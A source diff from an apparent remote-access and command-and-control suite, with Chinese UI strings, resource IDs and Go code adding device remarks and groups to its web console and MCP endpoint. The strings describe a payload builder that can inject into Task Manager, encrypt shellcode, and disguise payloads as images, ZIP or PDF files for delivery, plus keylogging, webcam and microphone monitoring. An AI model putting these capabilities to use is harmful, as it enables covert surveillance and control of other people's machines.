主控 Web 服务的端口,默认 8080。\n用于 Web 控制台、远程控制,以及以下载方式分发上线载荷;\n填 -1 或 0 表示不启用。修改后需重启主控生效。=主控 Web 服務的連接埠,預設 8080。\n用於 Web 主控台、遠端控制,以及以下載方式分發上線載荷;\n填 -1 或 0 表示不啟用。修改後需重新啟動主控生效。
|
||||
; ===== Status Bar TLS/MCP =====
|
||||
TLS: 有=TLS: 有
|
||||
TLS: 无=TLS: 無
|
||||
@@ -2266,3 +2290,69 @@ APK
|
||||
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=修復命令已複製到剪貼簿。\n\n請按 Win+X 開啟「終端機(系統管理員)」,貼上執行後再重新啟動本程式。
|
||||
已复制=已複製
|
||||
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=該 Android 主機未取得 root,無法查看處理程序清單。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,一般應用程式無法列舉其他處理程序。
|
||||
|
||||
; MCP settings preset buttons
|
||||
只读模式=唯讀模式
|
||||
智能模式=智慧模式
|
||||
; FRP auto proxy messages (local FRP precedence)
|
||||
[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变=[FRP] 已啟用上級 FRP 反向代理(遠端連接埠 %d);本機 FRP 已啟用,主控位址保持不變
|
||||
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变=[FRP] 上級 FRP 反向代理設定已切換(遠端連接埠 %d → %d);本機 FRP 已啟用,主控位址保持不變
|
||||
; FRP address hint (upstream-provided)
|
||||
该地址由上级自动 FRP 提供(端口由上级分配),无需修改=此位址由上級自動 FRP 提供(連接埠由上級分配),無需修改
|
||||
|
||||
要生成的载荷形态:\nTestRun 是测试加载器(磁盘/内存 DLL、注入任务管理器);\nghost.exe 是独立客户端;ServerDll.dll / TinyRun.dll 是模块;\n还有 Windows 服务、SYSTEM 以及 Linux/macOS/Android 预编译模板。\n最后一项「选择文件」可指定自定义程序。=要產生的載荷形態:\nTestRun 是測試載入器(磁碟/記憶體 DLL、注入工作管理員);\nghost.exe 是獨立用戶端;ServerDll.dll / TinyRun.dll 是模組;\n還有 Windows 服務、SYSTEM 以及 Linux/macOS/Android 預編譯範本。\n最後一項「選擇檔案」可指定自訂程式。
|
||||
生成 Windows 载荷的位数:64 位 / 32 位。\nLinux、macOS、Android 为固定架构,此项会自动置灰。=產生 Windows 載荷的位元數:64 位元 / 32 位元。\nLinux、macOS、Android 為固定架構,此項會自動置灰。
|
||||
配置了多个主控地址时的上线方式:\n随机上线:每次连接随机选一个地址;\n并发上线:同时连接全部地址(每个地址一个实例)。=設定了多個主控位址時的上線方式:\n隨機上線:每次連線隨機選一個位址;\n並發上線:同時連線全部位址(每個位址一個實例)。
|
||||
客户端连接的主控地址。\n可填多个,用英文分号分隔,最多 99 字符。\n「随机上线」每次随机选一个;「并发上线」同时连接全部。\n可填 IP 或域名;走 FRP 时填 FRP 服务器地址。=用戶端連線的主控位址。\n可填多個,用英文分號分隔,最多 99 字元。\n「隨機上線」每次隨機選一個;「並發上線」同時連線全部。\n可填 IP 或網域;走 FRP 時填 FRP 伺服器位址。
|
||||
客户端连接主控使用的传输协议。\nTCP/UDP/HTTP/KCP 直连;WebSocket、WS+TLS 需经反向代理。\nKCP 还要求主控 ghost/UDPOption 把对应端口配成 KCP;\n「随机」在 TCP/UDP/HTTP 中随机选择。=用戶端連線主控使用的傳輸協定。\nTCP/UDP/HTTP/KCP 直連;WebSocket、WS+TLS 需經反向代理。\nKCP 還要求主控 ghost/UDPOption 把對應連接埠設成 KCP;\n「隨機」在 TCP/UDP/HTTP 中隨機選擇。
|
||||
主控监听端口,默认 6543。\nWS/WSS 走反向代理时填反代入口端口(如 443)。\n必须与主控实际监听/映射的端口一致。=主控監聽連接埠,預設 6543。\nWS/WSS 走反向代理時填反代入口連接埠(如 443)。\n必須與主控實際監聽/對應的連接埠一致。
|
||||
上线报文头的加密变体(Shine / HELL),默认 HELL。\n只影响报文头的混淆方式,不影响数据正文加密。=上線封包標頭的加密變體(Shine / HELL),預設 HELL。\n只影響標頭的混淆方式,不影響資料本文加密。
|
||||
生成后的处理方式:\n无:原样输出;UPX:压缩(体积小,易被杀软标记);\nShellCode AES:转成 AES 加密的 shellcode(可配合下载服务);\nPE→ShellCode:把 PE 转成 shellcode;ShellCode BIN:输出裸 shellcode。\n仅 Windows 目标可用。=產生後的處理方式:\n無:原樣輸出;UPX:壓縮(體積小,易被防毒標記);\nShellCode AES:轉成 AES 加密的 shellcode(可搭配下載服務);\nPE→ShellCode:把 PE 轉成 shellcode;ShellCode BIN:輸出裸 shellcode。\n僅 Windows 目標可用。
|
||||
客户端上报的分组名,主控在线列表按它归类显示。\n留空时按默认分组处理。=用戶端上報的分組名稱,主控在線列表依它歸類顯示。\n留空時按預設分組處理。
|
||||
客户端安装目录的根位置:\nProgramData / APPDATA / LOCALAPPDATA 不需要管理员权限;\nProgramFiles、SystemRoot 需要管理员权限(安装时会提权)。=用戶端安裝目錄的根位置:\nProgramData / APPDATA / LOCALAPPDATA 不需要管理員權限;\nProgramFiles、SystemRoot 需要管理員權限(安裝時會提權)。
|
||||
在上述根目录下创建的子目录名,最长 31 字符。\n留空时按载荷类型使用默认目录(如 Windows Ghost)。\n反复在同一台电脑测试时,建议配合不同的程序名称使用不同子目录。=在上述根目錄下建立的子目錄名稱,最長 31 字元。\n留空時依載荷類型使用預設目錄(如 Windows Ghost)。\n反覆在同一台電腦測試時,建議搭配不同的程式名稱使用不同子目錄。
|
||||
生成的文件名/服务名(不含扩展名),最长 31 字符。\n建议每次测试都换一个名称,并配合不同的子目录。\n留空会使用默认名称/默认位置:同一台电脑反复安装时,\n可能与残留进程或旧文件冲突,安装不会自动替换,\n表现为客户端不上线。=產生的檔案/服務名稱(不含副檔名),最長 31 字元。\n建議每次測試都換一個名稱,並搭配不同的子目錄。\n留空會使用預設名稱/預設位置:同一台電腦反覆安裝時,\n可能與殘留程序或舊檔案衝突,安裝不會自動取代,\n表現為用戶端不上線。
|
||||
在文件末尾填充随机数据改变体积(0~256 MB),不影响运行。=在檔案末尾填入隨機資料改變體積(0~256 MB),不影響執行。
|
||||
仅 ShellCode AES 模式显示:载荷的封装形态。\n可写入当前程序尾部、单独的二进制文件,\n或 BMP/JPG/PNG/ZIP/PDF 等文件,\n用于把载荷伪装成图片、压缩包等再投递。=僅 ShellCode AES 模式顯示:載荷的封裝形態。\n可寫入目前程式尾部、獨立的二進位檔,\n或 BMP/JPG/PNG/ZIP/PDF 等檔案,\n用於把載荷偽裝成圖片、壓縮檔等再投遞。
|
||||
启用后载荷通过 HTTP 下载投递:\n文件放到程序的 Payloads 目录,或填写下载地址;\n受管机器上线时按地址下载载荷。\n仅 ShellCode AES 且载荷不是「当前程序尾部」时可用。=啟用後載荷透過 HTTP 下載投遞:\n檔案放到程式的 Payloads 目錄,或填寫下載位址;\n受管機器上線時依位址下載載荷。\n僅 ShellCode AES 且載荷不是「目前程式尾部」時可用。
|
||||
载荷下载地址(http/https),最长 255 字符。\n留空时默认用本机 Web 端口:\nhttp://<主控IP>:<Web端口>/payloads/<文件名>。\n仅勾选「下载服务」时显示。=載荷下載位址(http/https),最長 255 字元。\n留空時預設用本機 Web 連接埠:\nhttp://<主控IP>:<Web連接埠>/payloads/<檔案名稱>。\n僅勾選「下載服務」時顯示。
|
||||
勾选后把服务端 TLS 证书锚写进载荷,首次连接即加密,避免首连明文。\n仅 Windows 客户端模板、TCP/HTTP 协议且服务端已启用 TLS 时可用;\n不可用时复选框文案会直接写明原因。=勾選後把伺服器 TLS 憑證錨寫進載荷,首次連線即加密,避免首連明文。\n僅 Windows 用戶端範本、TCP/HTTP 協定且伺服器已啟用 TLS 時可用;\n不可用時核取方塊文案會直接寫明原因。
|
||||
程序增肥:填充 %d MB(0~256 MB)。\n在文件末尾填充随机数据改变体积,不影响运行。=程式增肥:填入 %d MB(0~256 MB)。\n在檔案末尾填入隨機資料改變體積,不影響執行。
|
||||
打开选中主机的远程终端(CMD)。\n需先在在线列表中选择一台主机。=在選取的主機上開啟遠端終端機(CMD)。\n請先在連線清單中選擇一台主機。
|
||||
查看并管理选中主机的进程(结束/挂起)。\n需先选择主机。=檢視並管理選取主機的處理程序(結束/暫停)。\n請先選擇主機。
|
||||
枚举并控制选中主机的窗口(显示/隐藏/关闭)。\n需先选择主机。=列舉並控制選取主機的視窗(顯示/隱藏/關閉)。\n請先選擇主機。
|
||||
打开远程桌面,查看并控制选中主机的屏幕。\n需先选择主机。=開啟遠端桌面,檢視並控制選取主機的螢幕。\n請先選擇主機。
|
||||
打开远程文件管理器,浏览、上传和下载文件。\n需先选择主机。=開啟遠端檔案管理員,瀏覽、上傳與下載檔案。\n請先選擇主機。
|
||||
监听选中主机的声音或麦克风。\n需先选择主机。=監聽選取主機的聲音或麥克風。\n請先選擇主機。
|
||||
查看选中主机的摄像头画面。\n需先选择主机。=檢視選取主機的攝影機畫面。\n請先選擇主機。
|
||||
管理选中主机的 Windows 服务(启动/停止/删除)。\n需先选择主机。=管理選取主機的 Windows 服務(啟動/停止/刪除)。\n請先選擇主機。
|
||||
查看和编辑选中主机的注册表。\n需先选择主机。=檢視與編輯選取主機的登錄檔。\n請先選擇主機。
|
||||
查看或开启选中主机的键盘记录。\n需先选择主机。=檢視或開啟選取主機的鍵盤記錄。\n請先選擇主機。
|
||||
主控参数:监听端口、FRP、TLS、MCP、数据库等。=主控參數:監聽埠、FRP、TLS、MCP、資料庫等。
|
||||
生成并配置客户端安装包(可嵌入地址、授权与选项)。=產生並設定用戶端安裝包(可嵌入位址、授權與選項)。
|
||||
在在线主机列表中按关键字搜索。=在連線主機清單中依關鍵字搜尋。
|
||||
查看版本、关于信息与帮助。=檢視版本、關於資訊與說明。
|
||||
切换界面语言。=切換介面語言。
|
||||
MCP 服务设置:开关、端口与 HTTP/HTTPS。\n修改后需重启主控生效。=MCP 服務設定:開關、埠與 HTTP/HTTPS。\n修改後需重新啟動主控才會生效。
|
||||
查看和管理当前连接/会话。=檢視與管理目前的連線/工作階段。
|
||||
与选中主机进行双向文字交谈。\n需先选择主机。=與選取主機進行雙向文字交談。\n請先選擇主機。
|
||||
管理主机分组、备注与批量操作。\n需先选择主机。=管理主機群組、備註與批次操作。\n請先選擇主機。
|
||||
TLS 已启用,但证书或私钥加载失败;服务端会拒绝 TLS 握手(fail-closed),明文连接可能仍被接受。\n请检查 [tls] 的 CertPath / KeyPath。=TLS 已啟用,但憑證或私鑰載入失敗;伺服器會拒絕 TLS 握手(fail-closed),明文連線可能仍被接受。\n請檢查 [tls] 的 CertPath / KeyPath。
|
||||
TLS 未启用:客户端可使用明文连接,或由主控下发信任锚后切换到 TLS。=TLS 未啟用:用戶端可使用明文連線,或由主控下發信任錨後切換到 TLS。
|
||||
TLS 使用内置自签证书(首次启用时自动生成),信任锚随客户端下发。=TLS 使用內建自簽憑證(首次啟用時自動產生),信任錨隨用戶端下發。
|
||||
TLS 使用自定义证书,入站凭据已加载。=TLS 使用自訂憑證,入站憑據已載入。
|
||||
MCP 未启用。可在工具栏 MCP 或「扩展」菜单中开启,修改后需重启主控生效。=MCP 未啟用。可在工具列 MCP 或「擴充」選單中開啟,修改後需重新啟動主控才會生效。
|
||||
MCP 已启用:端口 =MCP 已啟用:埠
|
||||
,协议 =,協定
|
||||
。\n修改 MCP 设置后需重启主控生效。=。\n修改 MCP 設定後需重新啟動主控才會生效。
|
||||
当前对外地址:=目前對外位址:
|
||||
\n来源:上级配置的 FRPC 地址。=\n來源:上級設定的 FRPC 位址。
|
||||
\n来源:本机 FRPS。=\n來源:本機 FRPS。
|
||||
\n来源:上级 FRP 代理的 master 地址。=\n來源:上級 FRP 代理的 master 位址。
|
||||
\n来源:本机直连(公网 WAN 或局域网 LAN)。=\n來源:本機直連(公網 WAN 或區域網路 LAN)。
|
||||
普通模式:显示主控本次运行时长。=一般模式:顯示主控本次執行時長。
|
||||
服务模式:显示累计运行时长;有崩溃记录时显示 MTBF 与失败率。=服務模式:顯示累計執行時長;有當機記錄時顯示 MTBF 與失敗率。
|
||||
授权到期信息:=授權到期資訊:
|
||||
\n剩余天数包含到期当天;已过期时主控功能可能受限。=\n剩餘天數包含到期當天;已過期時主控功能可能受限。
|
||||
重置=重設
|
||||
已清空语言包目录设置,已恢复内置语言,重启程序后生效。=已清空語言包目錄設定,已恢復內建語言,重新啟動程式後生效。
|
||||
@@ -354,7 +354,13 @@ bool base64Decode(const std::string& encoded, BYTE* dataOut, size_t* lenOut)
|
||||
std::string formatPublicKeyAsCode(const BYTE* publicKey)
|
||||
{
|
||||
std::ostringstream ss;
|
||||
ss << "const BYTE g_LicensePublicKey[64] = {\n ";
|
||||
// 生成的代码要能直接替换 common/key.h:extern + selectany 让各 TU 共享
|
||||
// 同一定义(C++14 也能编),extern "C" 让符号名不被修饰、可被其它模块按名字引用。
|
||||
ss << "#pragma once\n\n";
|
||||
ss << "#ifdef __cplusplus\n";
|
||||
ss << "extern \"C\" {\n";
|
||||
ss << "#endif\n";
|
||||
ss << "extern __declspec(selectany) const BYTE g_LicensePublicKey[64] = {\n ";
|
||||
for (int i = 0; i < V2_PUBKEY_SIZE; i++) {
|
||||
ss << "0x" << std::hex << std::setw(2) << std::setfill('0') << (int)publicKey[i];
|
||||
if (i < V2_PUBKEY_SIZE - 1) {
|
||||
@@ -362,7 +368,10 @@ std::string formatPublicKeyAsCode(const BYTE* publicKey)
|
||||
if ((i + 1) % 8 == 0) ss << "\n ";
|
||||
}
|
||||
}
|
||||
ss << "\n};";
|
||||
ss << "\n};\n";
|
||||
ss << "#ifdef __cplusplus\n";
|
||||
ss << "}\n";
|
||||
ss << "#endif";
|
||||
return ss.str();
|
||||
}
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
@@ -299,6 +299,8 @@
|
||||
#define IDB_BITMAP_DISCLAIMER 415
|
||||
#define IDB_BITMAP_COPYNAME 416
|
||||
#define IDB_BITMAP_RUN_TEST 417
|
||||
#define IDB_BITMAP_COMPRESS_ZSTD 418
|
||||
#define IDB_BITMAP_COMPRESS_ZLIB 419
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -1121,8 +1123,12 @@
|
||||
#define ID_PROTO_SWITCH_TCP 33098
|
||||
#define ID_PROTO_SWITCH_WS 33099
|
||||
#define ID_PROTO_SWITCH_WSS 33100
|
||||
#define ID_PROTO_SWITCH_UDP 33102
|
||||
#define ID_PROTO_SWITCH_KCP 33103
|
||||
// 高级菜单开关:把服务端 TLS 证书内嵌进下发给客户端的 ServerDll
|
||||
#define ID_TOOL_EMBED_TLS_ANCHOR 33101
|
||||
#define ID_EXPERIMENT_COMPRESS_ZSTD 33107
|
||||
#define ID_EXPERIMENT_COMPRESS_ZLIB 33108
|
||||
// 高级 → 运行测试程序:把内存里的 ServerDll 在主控进程内加载,本机上线一台测试主机
|
||||
#define ID_TOOL_RUN_TEST 33106
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
@@ -1131,8 +1137,8 @@
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 418
|
||||
#define _APS_NEXT_COMMAND_VALUE 33107
|
||||
#define _APS_NEXT_RESOURCE_VALUE 420
|
||||
#define _APS_NEXT_COMMAND_VALUE 33109
|
||||
#define _APS_NEXT_CONTROL_VALUE 2621
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
; Host identity block for auxiliary tooling/diagnostics.
|
||||
EXPORTS
|
||||
HostIdentityBlock=?g_MasterID@@3PADA
|
||||
@@ -1188,6 +1188,37 @@ func main() {
|
||||
}
|
||||
log.Info("Device ACL loaded from %s (%d binding(s))", aclFile, len(deviceACL.Snapshot()))
|
||||
|
||||
// Per-device remarks (the web card's "hostname (remark)" label) live next
|
||||
// to the ACL. A malformed file only loses labels — it carries no access
|
||||
// rights — so the server still starts; the store then refuses every edit
|
||||
// so the unreadable file is never overwritten.
|
||||
notesFile := os.Getenv("YAMA_DEVICE_NOTES_FILE")
|
||||
if notesFile == "" {
|
||||
notesFile = filepath.Join(filepath.Dir(usersFile), "device_notes.json")
|
||||
rememberDefault("YAMA_DEVICE_NOTES_FILE", notesFile)
|
||||
}
|
||||
deviceNotes := web.NewDeviceNotes(notesFile)
|
||||
if err := deviceNotes.Load(); err != nil {
|
||||
log.Warn("Failed to load device remarks from %s: %v (remark edits are refused until the file is fixed)", notesFile, err)
|
||||
} else {
|
||||
log.Info("Device remarks loaded from %s (%d remark(s))", notesFile, len(deviceNotes.Snapshot()))
|
||||
}
|
||||
|
||||
// Per-device group overrides (the web console's "edit group") live next to
|
||||
// the remark table with the same fail-safe policy: a malformed file is
|
||||
// never overwritten and edits are refused until it is fixed.
|
||||
groupsFile := os.Getenv("YAMA_DEVICE_GROUPS_FILE")
|
||||
if groupsFile == "" {
|
||||
groupsFile = filepath.Join(filepath.Dir(usersFile), "device_groups.json")
|
||||
rememberDefault("YAMA_DEVICE_GROUPS_FILE", groupsFile)
|
||||
}
|
||||
deviceGroups := web.NewDeviceGroups(groupsFile)
|
||||
if err := deviceGroups.Load(); err != nil {
|
||||
log.Warn("Failed to load device groups from %s: %v (group edits are refused until the file is fixed)", groupsFile, err)
|
||||
} else {
|
||||
log.Info("Device groups loaded from %s (%d override(s))", groupsFile, len(deviceGroups.Snapshot()))
|
||||
}
|
||||
|
||||
// TCP authorization (TOKEN_AUTH) brute-force throttle. Keyed by source IP
|
||||
// (the real TCP peer — there is no X-Forwarded-For on the device port).
|
||||
// Generous enough that a NAT office whose devices all re-auth at once is
|
||||
@@ -1276,6 +1307,10 @@ func main() {
|
||||
Bind: bindAddr,
|
||||
// Devices bound to a web user are invisible/unreachable through MCP.
|
||||
DeviceACL: deviceACL,
|
||||
// Web-console remarks are returned by list_hosts/get_host_detail.
|
||||
DeviceRemarks: deviceNotes,
|
||||
// Web-console group overrides are applied to the group field/filter.
|
||||
DeviceGroups: deviceGroups,
|
||||
})
|
||||
if mcpSrv.Enabled() {
|
||||
// Terminal tools need the hub's shell events (ready/data/closed).
|
||||
@@ -1416,6 +1451,8 @@ func main() {
|
||||
BrandName: brandName,
|
||||
SSO: ssoDetector,
|
||||
DeviceACL: deviceACL,
|
||||
DeviceNotes: deviceNotes,
|
||||
DeviceGroups: deviceGroups,
|
||||
TransferTarget: transferTarget,
|
||||
TransferDays: transferDays,
|
||||
TransferTransport: transferTransport,
|
||||
|
||||
@@ -332,6 +332,19 @@ func (s *Store) Remove(id string) bool {
|
||||
return existed
|
||||
}
|
||||
|
||||
// Has reports whether id has a history record (online or offline). Callers
|
||||
// that write per-device side data use it to refuse an ID this server has never
|
||||
// seen, so a stale UI cannot create an orphan entry.
|
||||
func (s *Store) Has(id string) bool {
|
||||
if id == "" {
|
||||
return false
|
||||
}
|
||||
s.mu.Lock()
|
||||
_, ok := s.devices[id]
|
||||
s.mu.Unlock()
|
||||
return ok
|
||||
}
|
||||
|
||||
// Flush writes the current state synchronously. Normally the debounced timer
|
||||
// does this; Flush exists for tests and graceful shutdown.
|
||||
func (s *Store) Flush() error {
|
||||
|
||||
+66
-1
@@ -43,6 +43,32 @@ type DeviceOwner interface {
|
||||
Owner(deviceID string) string
|
||||
}
|
||||
|
||||
// DeviceRemarks reports the web console's remark for a device ("" when none).
|
||||
// Implemented by web.DeviceNotes; declared as an interface for the same reason
|
||||
// as DeviceOwner. A nil table simply leaves the field out of the host JSON.
|
||||
type DeviceRemarks interface {
|
||||
Note(deviceID string) string
|
||||
}
|
||||
|
||||
// deviceRemarkSnapshotter is an optional DeviceRemarks capability: returning
|
||||
// the whole table lets a host listing take one snapshot instead of a read lock
|
||||
// per device, so a remark save's fsync cannot stall the call and one listing
|
||||
// cannot mix pre-edit and post-edit labels. Implemented by web.DeviceNotes.
|
||||
type deviceRemarkSnapshotter interface {
|
||||
Notes() map[string]string
|
||||
}
|
||||
|
||||
// DeviceGroups reports the web console's group override for a device ("" when
|
||||
// the host keeps the group it reported). Implemented by web.DeviceGroups.
|
||||
type DeviceGroups interface {
|
||||
Group(deviceID string) string
|
||||
}
|
||||
|
||||
// deviceGroupSnapshotter mirrors deviceRemarkSnapshotter for the group table.
|
||||
type deviceGroupSnapshotter interface {
|
||||
Groups() map[string]string
|
||||
}
|
||||
|
||||
// deviceOwnerSnapshotter is an optional DeviceOwner capability: returning the
|
||||
// whole binding table lets a long operation (the audit scan) apply the policy
|
||||
// without a read-lock acquisition per record. Implemented by web.DeviceACL.
|
||||
@@ -64,6 +90,37 @@ func (s *Server) ownerChecker() func(deviceID string) bool {
|
||||
return func(id string) bool { return s.cfg.DeviceACL.Owner(id) == "" }
|
||||
}
|
||||
|
||||
// hostView carries the per-call label snapshots used by one host listing. A
|
||||
// table that can snapshot its whole map is read once, so a large listing
|
||||
// neither takes a read lock per device nor observes a save halfway through;
|
||||
// other tables fall back to one lookup per device. nil means the table is not
|
||||
// configured.
|
||||
type hostView struct {
|
||||
remarkOf func(deviceID string) string
|
||||
groupOf func(deviceID string) string
|
||||
}
|
||||
|
||||
func (s *Server) hostView() hostView {
|
||||
var v hostView
|
||||
if s.cfg.DeviceRemarks != nil {
|
||||
if snap, ok := s.cfg.DeviceRemarks.(deviceRemarkSnapshotter); ok {
|
||||
notes := snap.Notes()
|
||||
v.remarkOf = func(id string) string { return notes[id] }
|
||||
} else {
|
||||
v.remarkOf = func(id string) string { return s.cfg.DeviceRemarks.Note(id) }
|
||||
}
|
||||
}
|
||||
if s.cfg.DeviceGroups != nil {
|
||||
if snap, ok := s.cfg.DeviceGroups.(deviceGroupSnapshotter); ok {
|
||||
groups := snap.Groups()
|
||||
v.groupOf = func(id string) string { return groups[id] }
|
||||
} else {
|
||||
v.groupOf = func(id string) string { return s.cfg.DeviceGroups.Group(id) }
|
||||
}
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
// Config is filled by cmd/main.go from the YAMA_MCP_* environment variables;
|
||||
// the package itself never reads the environment, so tests are deterministic.
|
||||
type Config struct {
|
||||
@@ -90,6 +147,14 @@ type Config struct {
|
||||
// in list_hosts/get_host_detail and unreachable by ID in every device-
|
||||
// targeted tool, even if its ID is known.
|
||||
DeviceACL DeviceOwner
|
||||
|
||||
// DeviceRemarks, when non-nil, adds the web console's remark to
|
||||
// list_hosts/get_host_detail and lets the name/query filters match it.
|
||||
DeviceRemarks DeviceRemarks
|
||||
|
||||
// DeviceGroups, when non-nil, applies the web console's group override to
|
||||
// the group field and the group filter in the host tools.
|
||||
DeviceGroups DeviceGroups
|
||||
}
|
||||
|
||||
// toolFunc implements one tools/call. It returns either a result value or a
|
||||
@@ -483,5 +548,5 @@ const serverInstructions = `这是 YAMA 服务端的 MCP 端点(Go 实现)
|
||||
4) get_screenshot 只支持 mode=screen(按链路状况自适应缩放,max_width 省略时最大 1024);本实现没有 CLIENT_CAP_SCREEN_REGION 扩展,mode=region/window/monitor 与区域类参数一律返回 -32005。
|
||||
5) list_files / read_file 走文件传输通道;list_files 支持 ids 批量(最多 50 台、整批 50 秒)。read_file 只接受单个普通文件且整文件不超过 2 MiB,目录用 list_files;本实现没有 download_file / search_file,超限文件只能改用 terminal_exec 分段查看,或连 Windows 主控端的完整服务端。
|
||||
6) terminal_exec 需要客户端支持终端(CLIENT_CAP_TERMINAL),会在目标主机上创建持久会话;用完调用 terminal_close 释放,闲置会话由服务端回收。调用被取消时返回的 message 里带 session_id,可用它轮询或关闭。
|
||||
7) 本实现不维护备注与授权状态:list_hosts / get_host_detail 不返回 remark/authStatus/tls;get_server_status 只报版本、在线台数与监听地址,没有 switches/sessions。
|
||||
7) 本实现不维护授权状态与 TLS 标记:list_hosts / get_host_detail 不返回 authStatus/tls;备注(remark)与分组(group)可由 Web 控制台维护:备注设置后随主机返回且 query/name 会匹配,分组覆盖值同时用于返回字段和 group 过滤。get_server_status 只报版本、在线台数与监听地址,没有 switches/sessions。
|
||||
8) 列表与详情都是调用时刻的快照,主机可能在操作期间掉线;写操作前先读一次现状,动作后再复核。`
|
||||
@@ -142,8 +142,15 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
|
||||
ctF := strings.ToLower(args.ClientType)
|
||||
|
||||
matched := make([]hub.DeviceInfo, 0, len(pool))
|
||||
view := s.hostView()
|
||||
for _, d := range pool {
|
||||
group := d.Group
|
||||
if view.groupOf != nil {
|
||||
// A web-console override wins over the group the host reported.
|
||||
if g := view.groupOf(d.ID); g != "" {
|
||||
group = g
|
||||
}
|
||||
}
|
||||
if group == "" {
|
||||
group = "default"
|
||||
}
|
||||
@@ -155,12 +162,20 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
|
||||
if d.Online {
|
||||
clientType = s.clientType(d.ID)
|
||||
}
|
||||
// query matches computer name, remark and IP. The two servers keep no
|
||||
// remark column, so name+IP is the full set here.
|
||||
if q != "" && !strings.Contains(strings.ToLower(d.Name), q) && !strings.Contains(strings.ToLower(ip), q) {
|
||||
remark := ""
|
||||
if view.remarkOf != nil {
|
||||
remark = view.remarkOf(d.ID)
|
||||
}
|
||||
// query matches computer name, remark and IP; name matches computer
|
||||
// name and remark, like the Win32 server. The remark is the web
|
||||
// console's label (empty unless an admin set it).
|
||||
if q != "" && !strings.Contains(strings.ToLower(d.Name), q) &&
|
||||
!strings.Contains(strings.ToLower(ip), q) &&
|
||||
!strings.Contains(strings.ToLower(remark), q) {
|
||||
continue
|
||||
}
|
||||
if nameF != "" && !strings.Contains(strings.ToLower(d.Name), nameF) {
|
||||
if nameF != "" && !strings.Contains(strings.ToLower(d.Name), nameF) &&
|
||||
!strings.Contains(strings.ToLower(remark), nameF) {
|
||||
continue
|
||||
}
|
||||
if ipF != "" && !strings.Contains(strings.ToLower(ip), ipF) {
|
||||
@@ -185,7 +200,7 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
|
||||
end := min(begin+limit, total)
|
||||
hosts := make([]map[string]any, 0, end-begin)
|
||||
for _, d := range matched[begin:end] {
|
||||
hosts = append(hosts, s.hostJSON(d))
|
||||
hosts = append(hosts, s.hostJSON(d, view))
|
||||
}
|
||||
|
||||
structured := map[string]any{
|
||||
@@ -205,10 +220,17 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
|
||||
}
|
||||
|
||||
// hostJSON projects a hub device onto the list_hosts/get_host_detail schema.
|
||||
// Fields the Go server does not know (authStatus, tls, remark, clientType of
|
||||
// an offline entry) are omitted rather than fabricated.
|
||||
func (s *Server) hostJSON(d hub.DeviceInfo) map[string]any {
|
||||
// Fields the Go server does not know (authStatus, tls, clientType of an
|
||||
// offline entry) are omitted rather than fabricated. remark and group come
|
||||
// from the web console when it has them (view carries the per-call snapshots).
|
||||
func (s *Server) hostJSON(d hub.DeviceInfo, view hostView) map[string]any {
|
||||
group := d.Group
|
||||
if view.groupOf != nil {
|
||||
// A web-console override wins over the group the host reported.
|
||||
if g := view.groupOf(d.ID); g != "" {
|
||||
group = g
|
||||
}
|
||||
}
|
||||
if group == "" {
|
||||
group = "default"
|
||||
}
|
||||
@@ -218,6 +240,11 @@ func (s *Server) hostJSON(d hub.DeviceInfo) map[string]any {
|
||||
"group": group,
|
||||
"online": d.Online,
|
||||
}
|
||||
if view.remarkOf != nil {
|
||||
if remark := view.remarkOf(d.ID); remark != "" {
|
||||
h["remark"] = remark
|
||||
}
|
||||
}
|
||||
if d.Version != "" {
|
||||
h["version"] = d.Version
|
||||
}
|
||||
@@ -300,7 +327,7 @@ func (s *Server) callGetHostDetail(_ context.Context, raw json.RawMessage) (any,
|
||||
return nil, errf(CodeInvalidParams, "Missing required parameter: id or ids")
|
||||
}
|
||||
online, offline := s.hostMaps()
|
||||
host, rerr := s.lookupHost(args.ID, online, offline)
|
||||
host, rerr := s.lookupHost(args.ID, online, offline, s.hostView())
|
||||
if rerr != nil {
|
||||
return nil, rerr
|
||||
}
|
||||
@@ -313,10 +340,11 @@ func (s *Server) hostDetailBatch(ids []string) (any, *rpcError) {
|
||||
"Too many ids: %d (max %d per batch)", len(ids), batchMaxIDs)
|
||||
}
|
||||
online, offline := s.hostMaps()
|
||||
view := s.hostView() // one snapshot for the whole batch
|
||||
results := make([]map[string]any, 0, len(ids))
|
||||
succeeded, failed := 0, 0
|
||||
for _, id := range ids {
|
||||
host, rerr := s.lookupHost(id, online, offline)
|
||||
host, rerr := s.lookupHost(id, online, offline, view)
|
||||
if rerr != nil {
|
||||
results = append(results, map[string]any{
|
||||
"id": id,
|
||||
@@ -375,17 +403,17 @@ func (s *Server) hostMaps() (online, offline map[string]hub.DeviceInfo) {
|
||||
// lookupHost resolves one host: online first, then the last-known history
|
||||
// record. It mirrors the Win32 server, which answers offline hosts with their
|
||||
// final snapshot instead of an error.
|
||||
func (s *Server) lookupHost(id string, online, offline map[string]hub.DeviceInfo) (map[string]any, *rpcError) {
|
||||
func (s *Server) lookupHost(id string, online, offline map[string]hub.DeviceInfo, view hostView) (map[string]any, *rpcError) {
|
||||
if !isDecimalID(id) {
|
||||
return nil, errf(CodeInvalidParams, "Invalid id: expected a decimal host id string")
|
||||
}
|
||||
